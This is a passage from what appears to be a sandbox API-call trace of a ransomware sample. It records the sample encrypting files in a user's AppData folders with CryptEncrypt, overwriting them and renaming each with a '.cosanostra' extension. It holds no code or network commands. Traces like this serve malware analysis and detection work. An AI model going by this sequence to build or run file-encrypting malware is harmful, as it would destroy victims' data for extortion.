lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.890] WriteFile (in: hFile=0x188, lpBuffer=0x28df87c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df83c, lpOverlapped=0x0 | out: lpBuffer=0x28df87c*, lpNumberOfBytesWritten=0x28df83c*=0x4, lpOverlapped=0x0) returned 1 [0087.890] WriteFile (in: hFile=0x188, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df83c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df83c*=0x30, lpOverlapped=0x0) returned 1 [0087.893] CloseHandle (hObject=0x188) returned 1 [0087.893] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\desktop.ini.cosanostra")) returned 1 [0087.895] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df878 | out: pbBuffer=0x28df878) returned 1 [0087.895] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df870*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df870*=0x30) returned 1 [0087.895] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\fwlink[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0087.895] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]") returned 88 [0087.895] StrStrW (lpFirst="fwlink[1]", lpSrch=".txt") returned 0x0 [0087.895] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.895] WriteFile (in: hFile=0x188, lpBuffer=0x2e2e58*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x28df834, lpOverlapped=0x0 | out: lpBuffer=0x2e2e58*, lpNumberOfBytesWritten=0x28df834*=0x0, lpOverlapped=0x0) returned 1 [0087.896] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.896] WriteFile (in: hFile=0x188, lpBuffer=0x28df874*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df834, lpOverlapped=0x0 | out: lpBuffer=0x28df874*, lpNumberOfBytesWritten=0x28df834*=0x4, lpOverlapped=0x0) returned 1 [0087.896] WriteFile (in: hFile=0x188, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df834, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df834*=0x30, lpOverlapped=0x0) returned 1 [0087.897] CloseHandle (hObject=0x188) returned 1 [0087.897] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\fwlink[1]"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1].cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\fwlink[1].cosanostra")) returned 1 [0087.897] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df878 | out: pbBuffer=0x28df878) returned 1 [0087.897] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df870*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df870*=0x30) returned 1 [0087.897] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0087.898] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini") returned 90 [0087.898] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0087.899] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffffbd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.899] WriteFile (in: hFile=0x188, lpBuffer=0x2e2e58*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x28df834, lpOverlapped=0x0 | out: lpBuffer=0x2e2e58*, lpNumberOfBytesWritten=0x28df834*=0x43, lpOverlapped=0x0) returned 1 [0087.899] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.899] WriteFile (in: hFile=0x188, lpBuffer=0x28df874*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df834, lpOverlapped=0x0 | out: lpBuffer=0x28df874*, lpNumberOfBytesWritten=0x28df834*=0x4, lpOverlapped=0x0) returned 1 [0087.899] WriteFile (in: hFile=0x188, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df834, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df834*=0x30, lpOverlapped=0x0) returned 1 [0087.899] CloseHandle (hObject=0x188) returned 1 [0087.900] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini.cosanostra")) returned 1 [0087.924] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df868 | out: pbBuffer=0x28df868) returned 1 [0087.924] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df860*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df860*=0x30) returned 1 [0087.924] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\forms\\frmcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0087.926] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT") returned 76 [0087.926] StrStrW (lpFirst="FRMCACHE.DAT", lpSrch=".txt") returned 0x0 [0087.983] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.983] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df824, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df824*=0x2800, lpOverlapped=0x0) returned 1 [0087.983] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.983] WriteFile (in: hFile=0x188, lpBuffer=0x28df864*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df824, lpOverlapped=0x0 | out: lpBuffer=0x28df864*, lpNumberOfBytesWritten=0x28df824*=0x4, lpOverlapped=0x0) returned 1 [0087.984] WriteFile (in: hFile=0x188, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df824, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df824*=0x30, lpOverlapped=0x0) returned 1 [0087.984] CloseHandle (hObject=0x188) returned 1 [0087.985] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\forms\\frmcache.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\forms\\frmcache.dat.cosanostra")) returned 1 [0088.000] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df860 | out: pbBuffer=0x28df860) returned 1 [0088.000] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df858*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df858*=0x30) returned 1 [0088.000] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0088.000] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df860 | out: pbBuffer=0x28df860) returned 1 [0088.000] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df858*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df858*=0x30) returned 1 [0088.000] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\owlvmzrc\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0088.000] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df858 | out: pbBuffer=0x28df858) returned 1 [0088.000] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df850*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df850*=0x30) returned 1 [0088.000] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0088.000] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak") returned 87 [0088.001] StrStrW (lpFirst="brndlog.bak", lpSrch=".txt") returned 0x0 [0088.002] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.002] WriteFile (in: hFile=0x174, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df814, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df814*=0x2800, lpOverlapped=0x0) returned 1 [0088.002] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.002] WriteFile (in: hFile=0x174, lpBuffer=0x28df854*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df814, lpOverlapped=0x0 | out: lpBuffer=0x28df854*, lpNumberOfBytesWritten=0x28df814*=0x4, lpOverlapped=0x0) returned 1 [0088.002] WriteFile (in: hFile=0x174, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df814, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df814*=0x30, lpOverlapped=0x0) returned 1 [0088.003] CloseHandle (hObject=0x174) returned 1 [0088.003] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak.cosanostra")) returned 1 [0088.010] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df840 | out: pbBuffer=0x28df840) returned 1 [0088.010] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df838*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df838*=0x30) returned 1 [0088.010] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0088.011] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]") returned 88 [0088.011] StrStrW (lpFirst="fwlink[1]", lpSrch=".txt") returned 0x0 [0088.011] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.011] WriteFile (in: hFile=0x174, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x28df7fc, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df7fc*=0x0, lpOverlapped=0x0) returned 1 [0088.011] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.011] WriteFile (in: hFile=0x174, lpBuffer=0x28df83c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df7fc, lpOverlapped=0x0 | out: lpBuffer=0x28df83c*, lpNumberOfBytesWritten=0x28df7fc*=0x4, lpOverlapped=0x0) returned 1 [0088.012] WriteFile (in: hFile=0x174, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df7fc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df7fc*=0x30, lpOverlapped=0x0) returned 1 [0088.012] CloseHandle (hObject=0x174) returned 1 [0088.012] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1]"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1].cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1].cosanostra")) returned 1 [0088.012] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df840 | out: pbBuffer=0x28df840) returned 1 [0088.012] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df838*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df838*=0x30) returned 1 [0088.013] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0088.013] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini") returned 90 [0088.013] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0088.014] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffffbd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.014] WriteFile (in: hFile=0x174, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x28df7fc, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df7fc*=0x43, lpOverlapped=0x0) returned 1 [0088.014] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.014] WriteFile (in: hFile=0x174, lpBuffer=0x28df83c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df7fc, lpOverlapped=0x0 | out: lpBuffer=0x28df83c*, lpNumberOfBytesWritten=0x28df7fc*=0x4, lpOverlapped=0x0) returned 1 [0088.014] WriteFile (in: hFile=0x174, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df7fc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df7fc*=0x30, lpOverlapped=0x0) returned 1 [0088.014] CloseHandle (hObject=0x174) returned 1 [0088.014] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini.cosanostra")) returned 1 [0088.016] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df838 | out: pbBuffer=0x28df838) returned 1 [0088.016] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df830*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df830*=0x30) returned 1 [0088.016] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0088.017] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]") returned 88 [0088.017] StrStrW (lpFirst="fwlink[1]", lpSrch=".txt") returned 0x0 [0088.017] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.017] WriteFile (in: hFile=0x174, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x28df7f4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df7f4*=0x0, lpOverlapped=0x0) returned 1 [0088.017] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.017] WriteFile (in: hFile=0x174, lpBuffer=0x28df834*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df7f4, lpOverlapped=0x0 | out: lpBuffer=0x28df834*, lpNumberOfBytesWritten=0x28df7f4*=0x4, lpOverlapped=0x0) returned 1 [0088.018] WriteFile (in: hFile=0x174, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df7f4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df7f4*=0x30, lpOverlapped=0x0) returned 1 [0088.018] CloseHandle (hObject=0x174) returned 1 [0088.018] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1]"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1].cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1].cosanostra")) returned 1 [0088.019] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df830 | out: pbBuffer=0x28df830) returned 1 [0088.019] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df828*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df828*=0x30) returned 1 [0088.019] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0088.019] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini") returned 90 [0088.019] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0088.020] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffffbd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.020] WriteFile (in: hFile=0x174, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x28df7ec, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df7ec*=0x43, lpOverlapped=0x0) returned 1 [0088.020] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.020] WriteFile (in: hFile=0x174, lpBuffer=0x28df82c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df7ec, lpOverlapped=0x0 | out: lpBuffer=0x28df82c*, lpNumberOfBytesWritten=0x28df7ec*=0x4, lpOverlapped=0x0) returned 1 [0088.020] WriteFile (in: hFile=0x174, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df7ec, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df7ec*=0x30, lpOverlapped=0x0) returned 1 [0088.021] CloseHandle (hObject=0x174) returned 1 [0088.021] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\desktop.ini.cosanostra")) returned 1 [0088.049] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df830 | out: pbBuffer=0x28df830) returned 1 [0088.049] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df828*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df828*=0x30) returned 1 [0088.049] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{4bd650f0-c8f9-11e7-b5bf-c43dc7584a00}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0088.049] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat") returned 139 [0088.049] StrStrW (lpFirst="{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpSrch=".txt") returned 0x0 [0088.077] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffee00, 